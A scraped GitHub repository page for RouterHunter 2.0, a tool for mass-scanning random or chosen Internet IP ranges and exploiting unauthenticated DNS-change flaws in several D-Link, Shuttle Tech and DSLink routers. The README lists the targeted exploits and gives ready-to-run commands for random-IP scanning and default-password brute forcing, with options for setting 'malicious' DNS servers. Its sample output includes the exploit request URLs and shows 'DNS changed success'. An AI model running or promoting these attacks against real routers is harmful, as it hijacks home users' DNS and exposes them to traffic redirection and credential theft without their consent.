









 This repository Search

Pull requests Issues Gist

 **jh00nbr / Routerhunter-2.0**



Watch 5 Star 14 Fork 5


 Code  Issues 0  Pull requests 0  Wiki  Pulse  Graphs


Testing vulnerabilities in devices and routers connected to the Internet.


15 commits 1 branch 0 releases 2 contributors

Branch: master New pull request

New file Find file HTTPS https://github.com/jh00nbr   Download ZIP

 **jh00nbr** Update routerhunter.py Latest commit 4799b4c 10 days ago

 [README.md](#) Update README.md 3 months ago

 [routerhunter.py](#) Update routerhunter.py 10 days ago

README.md

Scanner Routerhunter 2.0

Tool used to find vulnerable routers and devices on the Internet and perform tests

```
  _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ _
| _ | . | | | _ | _ | | | | | | | _ | _ |
| _ | _ | _ | | _ | | _ | _ | _ | _ |
BR - v2.0
```

Tool used to find vulnerable routers and devices on the Internet and perform tests.

[Coded by Jhonathan Davi a.k.a jh00nbr - jhoonbr at protonmail.ch]

[fb.com/JhonVipNet - twitter.com/jh00nbr - github.com/jh00nbr/ - blog.inurl.com.br - www.youtube.com/c/Mrsinisterboy]

[!] legal disclaimer: Usage of RouterHunterBR for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

- AUTOR: Jhonathan Davi A.K.A jh00nbr
- EMAIL*: jhoonbr@protonmail.ch
- Blog: <http://blog.inurl.com.br>
- Twitter: <https://twitter.com/jh00nbr>
- Facebook: <https://fb.com/JhonVipNet>
- Fanpage: <https://fb.com/InurlBrasil>
- Github: <https://github.com/jh00nbr/>
- Youtube: <https://www.youtube.com/c/Mrsinisterboy>

Description

The RouterhunterBR is an automated security tool que finds vulnerabilities and performs tests on routers and vulnerable devices on the Internet. The RouterhunterBR was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

The script explores four vulnerabilities in routers

- Shuttle Tech ADSL Modem-Router 915 WM / Unauthenticated Remote DNS Change Exploit
reference: <http://www.exploit-db.com/exploits/35995/>
- D-Link DSL-2740R / Unauthenticated Remote DNS Change Exploit
reference: <http://www.exploit-db.com/exploits/35917/>
- D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit
reference: <http://1337day.com/exploit/23302/>
- D-Link DSL-2780B DLink_1.01.14 - Unauthenticated Remote DNS Change
reference: <https://www.exploit-db.com/exploits/37237/>
- D-Link DSL-2730B AU_2.01 - Authentication Bypass DNS Change
reference: <https://www.exploit-db.com/exploits/37240/>
- D-Link DSL-526B ADSL2+ AU_2.01 - Unauthenticated Remote DNS Change
reference: <https://www.exploit-db.com/exploits/37241/>
- DSLink 260E - Authenticated routers - DNS Changer - Bruteforce reference: <https://www.youtube.com/watch?v=tNjy91g2Rak>
http://blog.inurl.com.br/2015/03/dslink-260e-default-passwords-dns-change_17.html

Requeriments

```
import sys, os, argparse, itertools, requests, random, time, threading, base64, socket
from datetime import datetime
```

Usage

```
-range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
-bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon
-startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
-endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
-dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
-dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
--threads 10                                     Set threads numbers
-rip, --randomip                                 Randomizing ips routers
-lmtip 10, --limitip 10                          Define limite random ip
```

Commands

Random ips

```
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10
```

Scanner in range ip:

```
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10
```

IP range customized with wildcard / Ex: --startip 201.*.*.* --endip 201.*.*.*

```
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10
```

Brute force with users and passwords on routers that requires authentication, forcing alteration of dns - DSLink 260E

```
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10
```

Screenshots

```

root@jh00n: /home/jhoon/Desktop
x root@jh00n: /home/jhoon/Desktop/Pentest
x root@jh00n: /home/jhoon

RouterHunterBR - v2.0

Tool used to find and perform tests in vulnerable routers on the internet.

[ Scanner RouterHunterBR 2.0 - InurlBrasil Team - coded by Jhonathan Davi a.k.a jh00nbr - jhoonbr at protonmail.ch ]
[ twitter.com/jh00nbr - github.com/jh00nbr/ - blog.inurl.com.br - www.youtube.com/c/Mrsinisterboy ]

[!] legal disclaimer: Usage of RouterHunterBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] Testing started in random ips! at [18/11/2015 15:29:43]

[ + ] 18/11/2015 15:29:43 [ 225.135.230.166 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:43 [ 225.135.230.166 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:43 [ 225.135.230.166 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 84.62.186.15 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 211.3.176.251 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 252.15.131.146 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 79.56.79.152 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 251.188.204.124 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 118.82.220.18 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 184.246.168.152 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 207.198.33.135 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:48 [ 218.147.201.150 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 84.62.186.15 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 252.15.131.146 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 211.3.176.251 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 79.56.79.152 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 118.82.220.18 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 251.188.204.124 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 218.147.201.150 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 184.246.168.152 ] ::: [ IS NOT VULNERABLE ]
[ + ] 18/11/2015 15:29:53 [ 207.198.33.135 ] ::: [ IS NOT VULNERABLE ]

[*] Testing started in range: [ .15-20 ]

[ + ] 4/11/2015 18:28:36 [ .15 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:36 [ .15 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:36 [ .15 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:41 [ .16 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:41 [ .16 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:41 [ .16 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:46 [ .17 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:46 [ .17 ] ::: [ IS NOT VULNERABLE ]
[ + ] 4/11/2015 18:28:46 [ .17 ] ::: [ IS NOT VULNERABLE ]

[ + ] 4/11/2015 18:28:48 [ ! ] http:// 18/dnscfg.cgi?dnsPrimary=8.8.8.8&dnsSecondary=8.8.4.4&dnsDynamic=0&dnsRefresh=1
[ + ] 4/11/2015 18:28:48 [ ! ] IP: [ 18 ] | DNS1: 8.8.8.8 DNS2: 8.8.4.4
[ + ] 4/11/2015 18:28:48 [ ! ] Status: DNS changed success
[ + ] 4/11/2015 18:28:48 [ ! ] Cod: 200
[ + ] 4/11/2015 18:28:48 [ ! ] Model: Shuttle Tech ADSL Modem-Router 915 WM or DSL_500B
[ + ] 4/11/2015 18:28:48 [ ! ] City:

[*] Bruteforce started in routers: [ 55-70 ]

[ + ] 18/11/2015 14:14:2 [ ! ] http:// /Action?dns_status=1&dns_poll_timeout=2&id=57&dns_server_ip_1=8&dns_server_ip_2=8&dns_server_ip_3=8&dns_server_ip_4=8&priority=0&cmdAdd=Add
[ + ] 18/11/2015 14:14:2 [ ! ] IP: [ 68 ] | DNS1: 8.8.8.8 DNS2: 8.8.4.4
[ + ] 18/11/2015 14:14:2 [ ! ] Status: DNS changed success! [Bruteforce]
[ + ] 18/11/2015 14:14:2 [ ! ] Cod: 200
[ + ] 18/11/2015 14:14:2 [ ! ] Model: DSLink_260E
[ + ] 18/11/2015 14:14:2 [ ! ] City:

```

